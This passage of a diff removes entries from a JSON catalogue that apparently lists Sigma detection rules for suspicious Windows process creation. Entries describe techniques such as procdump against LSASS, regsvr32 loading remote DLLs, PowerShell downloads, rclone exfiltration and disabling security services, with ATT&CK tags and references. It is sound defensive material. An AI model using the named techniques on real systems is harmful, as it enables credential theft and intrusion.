"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_webclient_casing.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/05/24", - "filename": "proc_creation_win_susp_powershell_webclient_casing.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a certain command line flag combination used by Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary", - "uuid": "a20391f8-76fb-437b-abc0-dba2df1952c6", - "value": "NodejsTools PressAnyKey Lolbin", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1463526834918854661", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pressynkey_lolbin.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/01/11", - "filename": "proc_creation_win_susp_pressynkey_lolbin.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Other tools with the same command line flag combination", - "Legitimate uses as part of Visual Studio development" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Attackers can use print.exe for remote file copy", - "uuid": "bafac3d6-7de9-4dd9-8874-4a1194b493ed", - "value": "Abusing Print Executable", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Print/", - "https://twitter.com/Oddvarmoe/status/985518877076541440", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_print.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2020/10/05", - "filename": "proc_creation_win_susp_print.yml", - "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we're also able to catch cases in which the attacker has renamed the procdump executable.", - "uuid": "5afee48e-67dd-4e03-a783-f74259dcf998", - "value": "Suspicious Use of Procdump on LSASS", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_procdump_lsass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.credential_access", - "attack.t1003.001", - "car.2013-05-009" - ], - "creation_date": "2018/10/30", - "filename": "proc_creation_win_susp_procdump_lsass.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely, because no one should dump an lsass process memory", - "Another tool that uses the command line switches of Procdump" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious use of Process Hacker, a tool to view and manipulate processes, kernel options and other low level stuff", - "uuid": "811e0002-b13b-4a15-9d00-a613fce66e42", - "value": "Process Hacker Usage", - "meta": { - "refs": [ - "https://processhacker.sourceforge.io/", - "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_process_hacker.yml" - ], - "tags": "No established tags", - "creation_date": "2022/10/10", - "filename": "proc_creation_win_susp_process_hacker.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Sometimes used by developers or system administrators for debugging purposes" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools", - "uuid": "efdd8dd5-cee8-4e59-9390-7d4d5e4dd6f6", - "value": "Suspicious Program Names", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_progname.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/11", - "filename": "proc_creation_win_susp_progname.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate tools that accidentally match on the searched patterns" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects user accept agreement execution in psexec commandline", - "uuid": "730fc21b-eaff-474b-ad23-90fd265d4988", - "value": "Psexec Accepteula Condition", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexec_eula.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569", - "attack.t1021" - ], - "creation_date": "2020/10/30", - "filename": "proc_creation_win_susp_psexec_eula.yml", - "author": "omkar72", - "level": "medium", - "falsepositive": [ - "Administrative scripts." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution", - "uuid": "fdfcbd78-48f1-4a4b-90ac-d82241e368c5", - "value": "PsExec Service Execution", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", - "https://www.youtube.com/watch?v=ro2QuZTIMBM", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/07/21", - "filename": "proc_creation_win_susp_psexesvc.yml", - "author": "Romaissa Adjailia, FLorian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate administrative tasks" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)", - "uuid": "7c0dcd3d-acf8-4f71-9570-f448b0034f94", - "value": "PsExec Service Execution as LOCAL SYSTEM", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_as_system.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/07/21", - "filename": "proc_creation_win_susp_psexesvc_as_system.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate administrative tasks" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators", - "uuid": "51ae86a2-e2e1-4097-ad85-c46cb6851de4", - "value": "Renamed PsExec Service Execution", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", - "https://www.youtube.com/watch?v=ro2QuZTIMBM", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_renamed.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/07/21", - "filename": "proc_creation_win_susp_psexesvc_renamed.yml", - "author": "FLorian Roth", - "level": "high", - "falsepositive": [ - "Legitimate administrative tasks" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights", - "uuid": "8834e2f7-6b4b-4f09-8906-d2276470ee23", - "value": "PsExec/PAExec Escalation to LOCAL SYSTEM", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", - "https://www.poweradmin.com/paexec/", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_escalate_system.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ], - "creation_date": "2021/11/23", - "filename": "proc_creation_win_susp_psexex_paexec_escalate_system.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious flags used by PsExec and PAExec but no usual program name in command line", - "uuid": "207b0396-3689-42d9-8399-4222658efc99", - "value": "PsExec/PAExec Flags", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", - "https://www.poweradmin.com/paexec/", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_flags.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ], - "creation_date": "2021/05/22", - "filename": "proc_creation_win_susp_psexex_paexec_flags.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Weird admins that rename their tools", - "Software companies that bundle PsExec/PAExec with their software and rename it, so that it is less embarrassing" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Threat actors can use the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery.", - "uuid": "aae1243f-d8af-40d8-ab20-33fc6d0c55bc", - "value": "Suspicious Use of PsLogList", - "meta": { - "refs": [ - "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", - "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psloglist.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087", - "attack.t1087.001", - "attack.t1087.002" - ], - "creation_date": "2021/12/18", - "filename": "proc_creation_win_susp_psloglist.yml", - "author": "Nasreddine Bencherchali @nas_bench", - "level": "medium", - "falsepositive": [ - "Another tool that uses the command line switches of PsLogList", - "Legitimate use of PsLogList by an administrator" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The psr.exe captures desktop screenshots and saves them on the local machine", - "uuid": "2158f96f-43c2-43cb-952a-ab4580f32382", - "value": "Psr.exe Capture Screenshots", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Psr/", - "https://www.sans.org/summit-archives/file/summit-archive-1493861893.pdf", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psr_capture_screenshots.yml" - ], - "tags": [ - "attack.collection", - "attack.t1113" - ], - "creation_date": "2019/10/12", - "filename": "proc_creation_win_susp_psr_capture_screenshots.yml", - "author": "Beyu Denis, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder", - "uuid": "ac175779-025a-4f12-98b0-acdaeb77ea85", - "value": "PowerShell Script Run in AppData", - "meta": { - "refs": [ - "https://twitter.com/JohnLaTwC/status/1082851155481288706", - "https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-31454c06ce03", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_appdata.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/01/09", - "filename": "proc_creation_win_susp_ps_appdata.yml", - "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", - "level": "medium", - "falsepositive": [ - "Administrative scripts" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line", - "uuid": "8f70ac5f-1f6f-4f8e-b454-db19561216c5", - "value": "PowerShell DownloadFile", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_downloadfile.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.command_and_control", - "attack.t1104", - "attack.t1105" - ], - "creation_date": "2020/08/28", - "filename": "proc_creation_win_susp_ps_downloadfile.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines", - "uuid": "8d01b53f-456f-48ee-90f6-bc28e67d4e35", - "value": "Suspicious PowerShell Obfuscated PowerShell Code", - "meta": { - "refs": [ - "https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_encoded_obfusc.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/07/11", - "filename": "proc_creation_win_susp_ps_encoded_obfusc.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use Radmin Viewer Utility to remotely control Windows device", - "uuid": "5817e76f-4804-41e6-8f1d-5fa0b3ecae2d", - "value": "Use Radmin Viewer Utility", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1072/T1072.md", - "https://www.radmin.fr/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_radmin.yml" - ], - "tags": [ - "attack.execution", - "attack.lateral_movement", - "attack.t1072" - ], - "creation_date": "2022/01/22", - "filename": "proc_creation_win_susp_radmin.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.", - "uuid": "faa48cae-6b25-4f00-a094-08947fef582f", - "value": "Rar Usage with Password and Compression Level", - "meta": { - "refs": [ - "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", - "https://ss64.com/bash/rar.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rar_flags.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ], - "creation_date": "2020/05/12", - "filename": "proc_creation_win_susp_rar_flags.yml", - "author": "@ROxPinTeddy", - "level": "high", - "falsepositive": [ - "Legitimate use of Winrar command line version", - "Other command line tools, that use these flags" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious process related to rasdial.exe", - "uuid": "6bba49bf-7f8c-47d6-a1bb-6b4dece4640e", - "value": "Suspicious RASdial Activity", - "meta": { - "refs": [ - "https://twitter.com/subTee/status/891298217907830785", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rasdial_activity.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1059" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_rasdial_activity.yml", - "author": "juju4", - "level": "medium", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM", - "uuid": "a4eaf250-7dc1-4842-862a-5e71cd59a167", - "value": "Suspicious RazerInstaller Explorer Subprocess", - "meta": { - "refs": [ - "https://twitter.com/j0nh4t/status/1429049506021138437", - "https://streamable.com/q2dsji", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_razorinstaller_explorer.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1553" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_susp_razorinstaller_explorer.yml", - "author": "Florian Roth, Maxime Thiebaut", - "level": "high", - "falsepositive": [ - "User selecting a different installation folder (check for other sub processes of this explorer.exe process)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc", - "uuid": "e37db05d-d1f9-49c8-b464-cee1a4b11638", - "value": "Rclone Execution via Command Line or PowerShell", - "meta": { - "refs": [ - "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", - "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone", - "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rclone_execution.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.002" - ], - "creation_date": "2021/05/10", - "filename": "proc_creation_win_susp_rclone_execution.yml", - "author": "Bhabesh Raj, Sittikorn S, Aaron Greetham (@beardofbinary) - NCC Group", - "level": "high", - "falsepositive": [ - "Legitimate RClone use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", - "uuid": "aa2efee7-34dd-446e-8a37-40790a66efd7", - "value": "Recon Information for Export with Command Prompt", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon.yml" - ], - "tags": [ - "attack.collection", - "attack.t1119" - ], - "creation_date": "2021/07/30", - "filename": "proc_creation_win_susp_recon.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a set of suspicious network related commands often used in recon stages", - "uuid": "e6313acd-208c-44fc-a0ff-db85d572e90e", - "value": "Network Reconnaissance Activity", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon_network_activity.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087", - "attack.t1082", - "car.2016-03-001" - ], - "creation_date": "2022/02/07", - "filename": "proc_creation_win_susp_recon_network_activity.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe", - "uuid": "883835a7-df45-43e4-bf1d-4268768afda4", - "value": "Regedit as Trusted Installer", - "meta": { - "refs": [ - "https://twitter.com/1kwpeter/status/1397816101455765504", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regedit_trustedinstaller.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ], - "creation_date": "2021/05/27", - "filename": "proc_creation_win_susp_regedit_trustedinstaller.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects using register-cimprovider.exe to execute arbitrary dll file.", - "uuid": "a2910908-e86f-4687-aeba-76a5f996e652", - "value": "DLL Execution Via Register-cimprovider.exe", - "meta": { - "refs": [ - "https://twitter.com/PhilipTsukerman/status/992021361106268161", - "https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_register_cimprovider.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574" - ], - "creation_date": "2020/10/07", - "filename": "proc_creation_win_susp_register_cimprovider.yml", - "author": "Ivan Dyachkov, Yulia Fomina, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when the registration of a VSS/VDS Provider as a COM+ application.", - "uuid": "28c8f68b-098d-45af-8d43-8089f3e35403", - "value": "Suspicious Registration via cscript.exe", - "meta": { - "refs": [ - "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", - "https://ss64.com/vb/cscript.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_registration_via_cscript.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2021/11/05", - "filename": "proc_creation_win_susp_registration_via_cscript.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects various anomalies in relation to regsvr32.exe", - "uuid": "8e2b24c9-4add-46a0-b4bb-0057b4e6187d", - "value": "Regsvr32 Anomaly", - "meta": { - "refs": [ - "https://subt0x10.blogspot.de/2017/04/bypass-application-whitelisting-script.html", - "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_anomalies.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010", - "car.2019-04-002", - "car.2019-04-003" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_regsvr32_anomalies.yml", - "author": "Florian Roth, oscd.community, Tim Shelton", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a flag anomaly in which regsvr32.exe uses a /i flag without using a /n flag at the same time", - "uuid": "b236190c-1c61-41e9-84b3-3fe03f6d76b0", - "value": "Regsvr32 Flags Anomaly", - "meta": { - "refs": [ - "https://twitter.com/sbousseaden/status/1282441816986484737?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_flags_anomaly.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ], - "creation_date": "2019/07/13", - "filename": "proc_creation_win_susp_regsvr32_flags_anomaly.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a certain command line flag combination used by regsvr32 when used to download and register a DLL from a remote address which uses HTTP (not HTTPS) and a IP address and not FQDN", - "uuid": "2dd2c217-bf68-437a-b57c-fe9fd01d5de8", - "value": "Suspicious Regsvr32 HTTP IP Pattern", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1461041276514623491c19-ps", - "https://twitter.com/tccontre18/status/1480950986650832903", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_http_pattern.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ], - "creation_date": "2022/01/11", - "filename": "proc_creation_win_susp_regsvr32_http_pattern.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "FQDNs that start with a number" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of REGSVR32.exe with DLL masquerading as image files", - "uuid": "089fc3d2-71e8-4763-a8a5-c97fbb0a403e", - "value": "Suspicious Regsvr32 Execution With Image Extension", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://guides.lib.umich.edu/c.php?g=282942&p=1885348", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_image.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ], - "creation_date": "2021/11/29", - "filename": "proc_creation_win_susp_regsvr32_image.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a regsvr.exe execution that doesn't contain a DLL in the command line", - "uuid": "50919691-7302-437f-8e10-1fe088afa145", - "value": "Regsvr32 Command Line Without DLL", - "meta": { - "refs": [ - "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_no_dll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574", - "attack.execution" - ], - "creation_date": "2019/07/17", - "filename": "proc_creation_win_susp_regsvr32_no_dll.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects REGSVR32.exe to execute DLL hosted on remote shares", - "uuid": "88a87a10-384b-4ad7-8871-2f9bf9259ce5", - "value": "Suspicious Regsvr32 Execution From Remote Share", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_remote_share.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ], - "creation_date": "2022/10/31", - "filename": "proc_creation_win_susp_regsvr32_remote_share.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects \"regsvr32.exe\" spawning \"explorer.exe\", which is very uncommon.", - "uuid": "6f0947a4-1c5e-4e0d-8ac7-53159b8f23ca", - "value": "Regsvr32 Spawning Explorer", - "meta": { - "refs": [ - "https://redcanary.com/blog/intelligence-insights-april-2022/", - "https://www.echotrail.io/insights/search/regsvr32.exe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_spawn_explorer.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ], - "creation_date": "2022/05/05", - "filename": "proc_creation_win_susp_regsvr32_spawn_explorer.yml", - "author": "elhoim", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys", - "uuid": "b7e2a8d4-74bb-4b78-adc9-3f92af2d4829", - "value": "Reg Add Suspicious Paths", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_add.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112", - "attack.t1562.001" - ], - "creation_date": "2022/08/19", - "filename": "proc_creation_win_susp_reg_add.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Rare legitimate add to registry via cli (to these locations)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious addition to BitLocker related registry keys via the reg.exe utility", - "uuid": "0e0255bf-2548-47b8-9582-c0955c9283f5", - "value": "Suspicious Reg Add BitLocker", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_bitlocker.yml" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ], - "creation_date": "2021/11/15", - "filename": "proc_creation_win_susp_reg_bitlocker.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious reg.exe invocation that looks as if it would disable an important security service", - "uuid": "5e95028c-5229-4214-afae-d653d573d0ec", - "value": "Reg Disable Security Service", - "meta": { - "refs": [ - "https://twitter.com/JohnLaTwC/status/1415295021041979392", - "https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1", - "https://vms.drweb.fr/virus/?i=24144899", - "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_disable_sec_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/07/14", - "filename": "proc_creation_win_susp_reg_disable_sec_services.yml", - "author": "Florian Roth, John Lambert (idea), elhoim", - "level": "high", - "falsepositive": [ - "Unknown", - "Other security solution installers" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key", - "uuid": 